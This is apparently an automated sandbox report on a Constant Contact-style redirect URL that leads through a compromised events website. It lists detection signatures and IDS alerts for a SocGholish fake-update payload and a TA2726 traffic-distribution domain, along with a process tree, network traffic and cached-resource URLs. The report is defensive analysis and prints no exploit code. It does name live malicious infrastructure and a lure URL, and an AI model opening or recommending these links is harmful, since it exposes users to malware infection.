Create Interactive Tour

Windows Analysis Report
https://zatp6ncab.cc.rs6.net/tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC46&c=fACjGJy843O2qLhy_EDw1tXsObaS44Oax9jWi5hSnXgO6cOpWOdvvQ==&ch=uDRbqb-h-hxGIaPgl5mPd8lWnKQdGcMqD3sN

Overview

General Information

Sample URL:	https://zatp6ncab.cc.rs6.net/tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC4
Analysis ID:	1635703
Infos:

Detection

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

HTML page contains obfuscated javascript

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

chrome.exe (PID: 6336 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6648 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1920,i,8619118891611207387,3269598719855546557,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=1948 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://zatp6ncab.cc.rs6.net/tn.jsp?f=001cxnICqQ2JvPHh68sPy67JcA12wTozyZ6tUXkt2fZXwkdUYMtwupLT-S4xl9B8jrFTN2ypT6neP3NkCtT6T7jkLznqRZuYP8GDL9GeN2eBUzFDN-0RDFO77xH2Hs1dfopzmnxZo5nnmpQ5j86V7OAlkc5LTVsDC46&c=fACjGJy843O2qLhy_EDw1tXsObaS44Oax9jWi5hSnXgO6cOpWOdvvQ==&ch=uDRbqb-h-hxGIaPgl5mPd8lWnKQdGcMqD3sNOjiafZx2mj0NMDi8Mw==" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Suricata Signatures

ET EXPLOIT_KIT Malicious TA2726 TDS Domain in DNS Lookup (groundrats .org)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T22:43:01.541550+0100	2058147	1	Exploit Kit Activity Detected	192.168.2.4	50547	1.1.1.1	53	UDP
2025-03-11T22:43:01.542853+0100	2058147	1	Exploit Kit Activity Detected	192.168.2.4	55135	1.1.1.1	53	UDP

ET EXPLOIT_KIT Malicious TA2726 TDS Domain in TLS SNI (groundrats .org)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T22:43:06.711797+0100	2058148	1	Exploit Kit Activity Detected	192.168.2.4	49778	46.173.214.32	443	TCP

ETPRO EXPLOIT_KIT SocGholish Stage 3 Fake Update Payload M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T22:43:25.051791+0100	2852900	1	A Network Trojan was detected	185.76.79.50	443	192.168.2.4	49807	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-03-11T22:42:15.085308+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49717	104.26.13.205	443	TCP

HTTP traffic detected: POST /api/v1/tunings/xaCleGvcNk HTTP/1.1Host: api.userway.orgConnection: keep-aliveContent-Length: 123sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: text/plain;charset=UTF-8sec-ch-ua-mobile: ?0Accept: */*Origin: https://allstareventsmiami.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://allstareventsmiami.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 11 Mar 2025 21:43:31 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 11 Mar 2025 21:43:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 11 Mar 2025 21:43:44 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: close

Source: chromecache_229.4.dr	String found in binary or memory: http://about.digg.com/downloads/button/smart
Source: chromecache_229.4.dr	String found in binary or memory: http://api.pinterest.com/v1/urls/count.json?url=
Source: chromecache_214.4.dr	String found in binary or memory: http://assets.pinterest.com/js/pinit.js
Source: chromecache_210.4.dr	String found in binary or memory: http://blazemag.themeflames.com
Source: chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: chromecache_229.4.dr	String found in binary or memory: http://cdn.api.twitter.com/1/urls/count.json?url=
Source: chromecache_139.4.dr, chromecache_238.4.dr, chromecache_147.4.dr	String found in binary or memory: http://codetemp.com
Source: chromecache_179.4.dr, chromecache_143.4.dr	String found in binary or memory: http://creativecommons.org/ns#
Source: chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	String found in binary or memory: http://cv.iptc.org/newscodes/digitalsourcetype/compositeWithTrainedAlgorithmicMedia
Source: chromecache_229.4.dr	String found in binary or memory: http://developer.linkedin.com/plugins/share-button
Source: chromecache_229.4.dr	String found in binary or memory: http://digg.com/submit?url=
Source: chromecache_229.4.dr	String found in binary or memory: http://digg.com/tools/diggthis/submit?url=
Source: chromecache_229.4.dr	String found in binary or memory: http://feeds.delicious.com/v2/json/urlinfo/data?url=
Source: chromecache_170.4.dr	String found in binary or memory: http://jquery.malsup.com/cycle2/
Source: chromecache_170.4.dr	String found in binary or memory: http://jquery.malsup.com/cycle2/api
Source: chromecache_195.4.dr	String found in binary or memory: http://malsup.com/jquery/form/
Source: chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_229.4.dr	String found in binary or memory: http://pinterest.com/about/goodies/
Source: chromecache_229.4.dr	String found in binary or memory: http://pinterest.com/pin/create/button/?url=
Source: chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_7a5c3a0c73117406add19312bc1bc23f/LatestCRL.crl07
Source: chromecache_224.4.dr, chromecache_162.4.dr, chromecache_163.4.dr, chromecache_150.4.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: chromecache_229.4.dr	String found in binary or memory: http://services.digg.com/2.0/story.getInfo?links=
Source: chromecache_229.4.dr	String found in binary or memory: http://stackoverflow.com/q/6536108
Source: chromecache_210.4.dr	String found in binary or memory: http://themeforest.net/licenses/regular_extended
Source: chromecache_229.4.dr	String found in binary or memory: http://twitter.com/about/resources/tweetbutton
Source: chromecache_157.4.dr, chromecache_194.4.dr	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: chromecache_182.4.dr	String found in binary or memory: http://www.codylindley.com)
Source: chromecache_229.4.dr	String found in binary or memory: http://www.delicious.com/save?v=5&noui&jump=close&url=
Source: chromecache_229.4.dr	String found in binary or memory: http://www.delicious.com/static/img/delicious.small.gif
Source: chromecache_258.4.dr	String found in binary or memory: http://www.gnu.org/licenses/
Source: chromecache_229.4.dr	String found in binary or memory: http://www.google.com/webmasters/
Source: chromecache_229.4.dr	String found in binary or memory: http://www.linkedin.com/countserv/count/share?format=jsonp&url=
Source: chromecache_182.4.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php
Source: chromecache_229.4.dr	String found in binary or memory: http://www.stumbleupon.com/badge/?url=
Source: chromecache_229.4.dr	String found in binary or memory: http://www.stumbleupon.com/badges/
Source: chromecache_229.4.dr	String found in binary or memory: http://www.stumbleupon.com/services/1.01/badge.getinfo?url=
Source: chromecache_210.4.dr	String found in binary or memory: http://www.themeforest.net/user/ThemeFlames
Source: chromecache_145.4.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_187.4.dr	String found in binary or memory: https://allstareventsmiami.com/wp-content/plugins/CTF_kodda_menu_3//standard/css/pie/PIE.php);
Source: chromecache_206.4.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_214.4.dr	String found in binary or memory: https://apis.google.com/js/plusone.js
Source: chromecache_145.4.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_253.4.dr	String found in binary or memory: https://cdn.userway.org/
Source: chromecache_199.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/adventpro/v28/V8mqoQfxVT4Dvddr_yOwrzaFxV7JtdQgFqXdUAQrGp_zgX5sWCpLQyN_RZ
Source: chromecache_199.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/adventpro/v28/V8mqoQfxVT4Dvddr_yOwrzaFxV7JtdQgFqXdUAQrGp_zgX5sWCpLQyN_Rp
Source: chromecache_199.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/adventpro/v28/V8mqoQfxVT4Dvddr_yOwrzaFxV7JtdQgFqXdUAQrGp_zgX5sWCpLQyN_S5
Source: chromecache_199.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/adventpro/v28/V8mqoQfxVT4Dvddr_yOwrzaFxV7JtdQgFqXdUAQrGp_zgX5sWCpLQyN_SJ
Source: chromecache_199.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/adventpro/v28/V8mqoQfxVT4Dvddr_yOwrzaFxV7JtdQgFqXdUAQrGp_zgX5sWCpLQyN_T5
Source: chromecache_155.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/alfaslabone/v19/6NUQ8FmMKwSEKjnm5-4v-4Jh2d1he-Wv.woff2)
Source: chromecache_155.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/alfaslabone/v19/6NUQ8FmMKwSEKjnm5-4v-4Jh2dJhew.woff2)
Source: chromecache_155.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/alfaslabone/v19/6NUQ8FmMKwSEKjnm5-4v-4Jh2dxhe-Wv.woff2)
Source: chromecache_246.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/carroisgothic/v16/Z9XPDmFATg-N1PLtLOOxvIHl9amE1C8.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/indieflower/v22/m8JVjfNVeKWVnh3QMuKkFcZVZ0uH5dI.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/indieflower/v22/m8JVjfNVeKWVnh3QMuKkFcZVaUuH.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u-w4BMUTPHjxsIPx-mPCLQ7A.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u-w4BMUTPHjxsIPx-oPCI.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u8w4BMUTPHh30AUi-qJCY.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u8w4BMUTPHh30AXC-q.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u8w4BMUTPHjxsAUi-qJCY.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u8w4BMUTPHjxsAXC-q.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh50XSwaPGR_p.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh50XSwiPGQ.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh6UVSwaPGR_p.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh6UVSwiPGQ.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh7USSwaPGR_p.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u9w4BMUTPHh7USSwiPGQ.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI3wi_FQft1dw.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI3wi_Gwft.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI5wq_FQft1dw.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI5wq_Gwft.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI9w2_FQft1dw.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6u_w4BMUTPHjxsI9w2_Gwft.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjx4wXg.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/lato/v24/S6uyw4BMUTPHjxAwXjeu.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6daw1J5X9T9RW6j9bNVls-hfgvz8JcMofYTYf-D33Esw.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6daw1J5X9T9RW6j9bNVls-hfgvz8JcMofYTYf0D33Esw.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6daw1J5X9T9RW6j9bNVls-hfgvz8JcMofYTYf1D33Esw.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6daw1J5X9T9RW6j9bNVls-hfgvz8JcMofYTYf2D33Esw.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6daw1J5X9T9RW6j9bNVls-hfgvz8JcMofYTYf3D33Esw.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6daw1J5X9T9RW6j9bNVls-hfgvz8JcMofYTYf5D33Esw.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6daw1J5X9T9RW6j9bNVls-hfgvz8JcMofYTYf6D30.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6faw1J5X9T9RW6j9bNfFIMZhhWnFTyNZIQD1-_P3Dct-FG.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6faw1J5X9T9RW6j9bNfFIMZhhWnFTyNZIQD1-_P3Hct-FG.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6faw1J5X9T9RW6j9bNfFIMZhhWnFTyNZIQD1-_P3Lct-FG.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6faw1J5X9T9RW6j9bNfFIMZhhWnFTyNZIQD1-_P3Pct-FG.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6faw1J5X9T9RW6j9bNfFIMZhhWnFTyNZIQD1-_P3_ctw.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6faw1J5X9T9RW6j9bNfFIMZhhWnFTyNZIQD1-_P3vct-FG.woff2)
Source: chromecache_233.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/notoserif/v28/ga6faw1J5X9T9RW6j9bNfFIMZhhWnFTyNZIQD1-_P3zct-FG.woff2)
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4gaVI
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4iaVI
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4jaVI
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4kaVI
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4saVI
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4taVI
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4uaVI
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B4vaVI
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B5OaVI
Source: chromecache_191.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memSYaGs126MiZpBA-UvWbX2vVnXBbObj2OVZyOOSr4dVJWUgsjZ0B5caVI
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqW106F15M.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWt06F15M.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtE6F15M.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtU6F15M.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWtk6F15M.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWu06F15M.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWuU6F.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWuk6F15M.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWvU6F15M.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memtYaGs126MiZpBA-UFUIcVXSCEkx2cmqvXlWqWxU6F15M.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS2mu1aB.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSymu1aB.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTVOmu1aB.woff2)
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmDuHMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmDuXMRw.woff2)
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmDubMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmDujMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmDunMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmDurMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmDuvMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhDuHMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhDuXMRw.woff2)
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhDubMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhDujMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhDunMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhDurMR6WR.woff2
Source: chromecache_185.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensanscondensed/v23/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhDuvMR6WR.woff2
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3iWkUHHAIjg752FD8Ghe4.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3iWkUHHAIjg752Fj8Ghe4.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3iWkUHHAIjg752Fz8Ghe4.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3iWkUHHAIjg752GT8G.woff2)
Source: chromecache_256.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/oswald/v53/TK3iWkUHHAIjg752HT8Ghe4.woff2)
Source: chromecache_195.4.dr	String found in binary or memory: https://github.com/malsup/form
Source: chromecache_195.4.dr	String found in binary or memory: https://github.com/malsup/form#copyright-and-license
Source: chromecache_235.4.dr, chromecache_232.4.dr, chromecache_211.4.dr, chromecache_130.4.dr	String found in binary or memory: https://layerslider.com/
Source: chromecache_235.4.dr, chromecache_232.4.dr, chromecache_211.4.dr, chromecache_130.4.dr	String found in binary or memory: https://layerslider.com/licensing/
Source: chromecache_145.4.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_145.4.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_229.4.dr	String found in binary or memory: https://plus.google.com/share?hl=
Source: chromecache_145.4.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect
Source: chromecache_145.4.dr	String found in binary or memory: https://stats.g.doubleclick.net/g/collect?v=2&
Source: chromecache_206.4.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: chromecache_206.4.dr	String found in binary or memory: https://tagassistant.google.com/
Source: chromecache_145.4.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_229.4.dr	String found in binary or memory: https://twitter.com/intent/tweet?text=
Source: chromecache_229.4.dr	String found in binary or memory: https://twitter.com/share
Source: chromecache_206.4.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_206.4.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_206.4.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_145.4.dr	String found in binary or memory: https://www.google.com
Source: chromecache_206.4.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_145.4.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_145.4.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_145.4.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_206.4.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_145.4.dr	String found in binary or memory: https://www.googletagmanager.com/static/service_worker/
Source: chromecache_229.4.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=
Source: chromecache_145.4.dr	String found in binary or memory: https://www.merchant-center-analytics.goog

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
